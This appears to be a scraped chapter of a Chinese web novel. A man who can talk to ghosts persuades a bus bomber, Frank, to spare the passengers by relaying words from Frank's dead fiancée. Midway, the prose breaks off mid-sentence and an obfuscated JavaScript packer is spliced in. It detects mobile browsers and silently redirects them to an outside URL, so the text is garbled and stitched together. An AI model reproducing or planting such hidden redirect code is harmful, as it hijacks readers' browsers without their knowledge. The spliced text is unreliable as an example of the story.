围观群众们不乐意了,对着郝运你一言我一语,七嘴八舌叫嚷起来。郝运只觉耳边上演着几十台大戏,吵得脑仁都快裂开了。不好惹哥们也跟着凑热闹,在郝运耳边咬牙切齿地说:“你以为你闭上眼睛,我就看不出来哪些是你的同伴?门口那两个,还有我右边这一个——”
郝运不耐烦地睁开眼睛:“弗兰克。”
不好惹哥们,也就是弗兰克一愣,很快,他轻哼一声:“名字都查清楚了,还说不是警察?”
先是炸/药/包,紧接着大白天撞鬼,还不止一只鬼,老天爷果然是逮着他一个溜。小时候吃奶差点呛死,掉下水道差点淹死,长到这么大不知道闯过多少回鬼门关,这次不就是一包炸/药,几个外国鬼吗?就不信老天爷舍得把他玩死。郝运,颇有点破罐子破摔的意思,小心脏也不再上蹿下跳,像个小恶魔似的对着弗兰克耳边低语:“如果我告诉你,你身边正站着一个金发碧眼,脸上长着几粒可爱小雀斑的漂亮妹子,是她说你叫弗兰克,你信吗?”说着警告地望了一眼几个叽叽喳喳叫不停的围观鬼,示意他们闭嘴。
鬼鬼们好不容易碰到一个可以看见他们,听到他们说话的人,简直要把郝运奉做神明,哪敢不听话。一个个排排坐到椅背上,晃荡着双脚,要多乖有多乖。耳根终于清净了,郝运差点喜极而泣。
弗兰克手一抖,只需要再稍微加一丢丢力道,匕首就会刺破郝运脆弱的皮肤。但他很快意识到,警察想查一个人,不过是分分钟的事。这是他心中的痛,他所做的一切都是为了她。这个狗娘养的警察,不该拿他最宝贝的人开玩笑。手上的力道不由得加重,匕首尖刺破娇弱的皮肤,鲜血顺着细白的脖颈缓缓涌出。
“嘶……”郝运倒吸一口凉气,伸出两根指头,小心翼翼把匕首往外推了两寸。“老兄,小心点,刀子不长眼睛,割破动脉,我保证你会后悔一辈子。”
弗兰克眼神一暗。是的,他忍耐了这么久,做了这么多准备,马上就要成功了,要沉住气,不能在临门一脚的时候前功尽弃。
郝运也着实捏了把冷汗,看到弗兰克情绪暂时稳定下来,不由得长舒一口气。生死攸关,郝运也不能装作没看见这几个外国鬼了。眼前这个哭的上气不接下气的金发妹子,说不定就是症结所在。既然老天突然把与鬼魂沟通的能力赏给他,他也只好勉为其难接受了,先渡过眼前这关再说。
“弗兰克,我知道,现在还没到你动手的最佳时机。你也不想我嚷出来,所以,接下来无论我说什么,你听着就好,不要太激动,也不要反驳。事到如今,实话告诉你,我不是警察,但我确实冲你而来。我有沟通鬼魂的能力,有人……”郝运说着看了金发妹子一眼。
金发妹子很聪明,赶紧自报家门:“珍妮。”
“珍妮找到我,请求我阻止你做蠢事。”郝运根本不给弗兰克说话的机会,小嘴不停:“别下意识反驳,这个世界有那么多拥有特殊能力的超级英雄,不过是跟鬼魂沟通,也没什么不可能吧?”想当初,他刚下飞机,看到电子屏上满天飞的超级英雄,嘴巴张的差点脱臼。
弗兰克喘着粗气,不可置信地顺着郝运目光所在的方向望去,那里空空如也,什么也没有。要不要相信?他都没来得及和他的珍妮告别。他多想和珍妮再说说话,哪怕一句也好。如果这人没有骗他,他宁可放弃这次行动,也要和他的珍妮再见一面。这家伙能和鬼魂沟通,应该也有办法让他见到珍妮吧?弗兰克扭头望着郝运,希冀中带着祈求。
“……”突然觉得压力好大。郝运顶着弗兰克火一般的注视,冲金发妹子点点头,示意她有话赶紧说。
接下来郝运把自己代入同声翻译的角色,不过他是一字一字重复珍妮的话。“珍妮让我告诉你,她知道你是为了给她报仇,但她不想牵连无辜,现在收手还来得及。”
弗兰克显然不满意这样的说辞,情感上他巴不得这是真的,理智上却又觉得太过荒谬,手中的力道不由得紧了紧。“证据。”
郝运询问地望着珍妮。珍妮一时间竟想不出什么有力的证明,急的直打转。弗兰克呼吸一重。郝运赶紧提醒:“只有你们俩才知道的事情,可以吗?”珍妮眼睛一亮。
“珍妮说,她知道你把求婚戒指藏在沙发垫子底下。”马上就要迎来人生最幸福地时刻,却突然天人永隔,实在不能不让人痛惜。女孩惨死,男孩带着炸/药/包去报仇,这中间一定有一个非常悲惨的故事。
弗兰克握着匕首的手抖得不成样子,吓得郝运心肝乱颤。“大哥,别忘了你怀里揣着什么?”
弗兰克胡乱用右手擦掉眼泪,对着珍妮所在的方向几乎是喃喃自语:“我不会伤及无辜,但我一定要让害了你的罪归祸首付出代价。”
“……”哥呀,你抱着炸/弹一脸坚定地说不伤及无辜,谁信呀。郝运苦口婆心劝道:“下一站,我们一起下车,我陪你去自首,你把珍妮死亡的真相告诉警察,法律会让坏人得到应有的惩罚。”
弗兰克满脸苦涩,绝望地低吼:“你以为我没有报警吗?警察查来查去认定是意外坠楼,反过来说我报假警、诽谤、诬告,还不是那人有钱有势有关系。那样一个坏到骨子里的家伙,不解决他,不知道以后还有多少受害者。”
郝运沉默了,金发妹子的表情也告诉他,弗兰克并不是没有根据的凭空猜测。去自首,弗兰克很可能白忙一场,不仅把自己搭进去,珍妮的仇也报不了。换作是他,也不会干这种赔本买卖。既然自首不了,那只好……可是,这样真的好吗?郝运不由得犹豫起来。
时间不多了,珍妮在旁边急的不得了,一个劲儿地拜托郝运:“请您赶紧想想办法,再有两站就是弗兰克的目的地。”
还真是时间不等人。郝运暗自咒骂一声,定定神,才道:“弗兰克,让其他乘客在下一站全部下车,我配合你做人质。”
弗兰克却摇摇头:“等到了地方,我就会下车,不牵累一个人。”
“愚蠢。珍妮难道不恨罪魁祸首吗?难道不想报仇吗?她阻止你,是因为她爱你,不想你为了她白白搭上一条性命,你个大傻瓜。”郝运恨不得摇醒这个笨家伙。
公车缓缓驶入站台,不行,不能再拖下去了。“我有办法帮你,让你的仇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17035253|194615||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人身败名裂,得到应有的惩罚。”虽然来不及询问个中详情,但郝运大概也猜到一些。他现在心中已有打算,只是不确定有几分把握,但也绝不是信口哄人。“相信我,让他们下车。别忘了你身上有什么,我除了能和他们交流,就是个弱不禁风的普通人,玩不出什么花样。”
弗兰克有所动摇,却还是犹豫不定。郝运咬咬牙加一剂猛药:“我知道你不怕死,可是你想想,你炸得血肉横飞,怎么去见珍妮?真要殉情,等报完仇,有多少体面干净的死法不能选?珍妮说了,你要是不听我的,她马上就去找个鬼男朋友,你死了也不给你机会。我面前就坐着两个帅气逼人的男鬼,你可要考虑清楚。”两个称不上磕碜,但和帅气绝不沾边的男鬼,喜得在郝运面前飘来荡去,简直没眼看。
大招一出,弗兰克顶不住了,他不得不考虑这个问题。终于,他下定决心:“好,让他们下车。”
郝运心下一松,把弗兰克的手臂绕在脖子上的手臂紧了紧,不放心地确认道:“老兄,你包里这东西安全吗?”
弗兰克自信地拍拍大黑包:“放心,不见到罪魁祸首,绝不会有一点儿响动。”
郝运小心肝吓得乱颤:“大哥,你悠着点。”弗兰克讪讪移开手。伴随着两声哐当,前后门打开了,郝运扯着嗓子:“快下车,有炸/弹。”尾音直接破了。
醒着的扭头锁定声音来源,不耐烦地瞪罪魁祸首一眼,又低头沉浸在手机上。睡着的忍不住骂骂咧咧:“脑子有病回家发去。”
大哥大姐们我舍下一身剐,好不容易说动危险份子放你们一条生路,不感谢我就算了,怎么还骂人呢?郝运无语凝噎。
弗兰克安慰地拍拍郝运的肩膀,递给他一个交给我的眼神,默默摸出一把小巧的手/枪,抵住前排一颗棕色的大脑袋:“不下车就一起陪葬吧。”这位正好是刚才骂人团队的一份子。
“都赶着上班,搞什么恶作剧!”胖司机扭头训斥起来,等他看见那黝黑的小玩意,不耐烦的表情瞬间变为惊恐。刚上车的乘客发出尖锐爆鸣,连滚带爬逃下车。
“要命的还不快滚!”见有人吓得不敢动,弗兰克只好恶声恶气驱赶起来。
话音刚落,满车乘客争相逃窜。司机正要开门逃命,弗兰克将枪/口对准他,狠声道:“司机留下,除非你想尝尝脑袋开花的滋味。”说着又踢了一脚前排抖成筛糠的棕色大脑袋,“你想留下一起?”
棕色大脑袋用一种极其诡异的姿势冲到车门口,似是力气用尽,任由自己整个人摔出去。
“……”还真是准备齐全。郝运向司机大叔投去同情的眼神。
司机已经探出车外的半个身子战战兢兢缩回来,抖着手去系安全带,结果半天也没系上。
“别耍花样,想想明天的太阳!”弗兰克言语间满是炸/弹/犯该有的威慑力。
司机擦擦脑门上汹涌彭拜的汗珠,哆哆嗦嗦关上车门,踩下油门。公车摇摇晃晃重又启动,街上满是惊慌失措四散奔逃的人们。
嗐,一不小心逞了个英雄,但愿不要翻车。郝运又一次瘫在座椅上。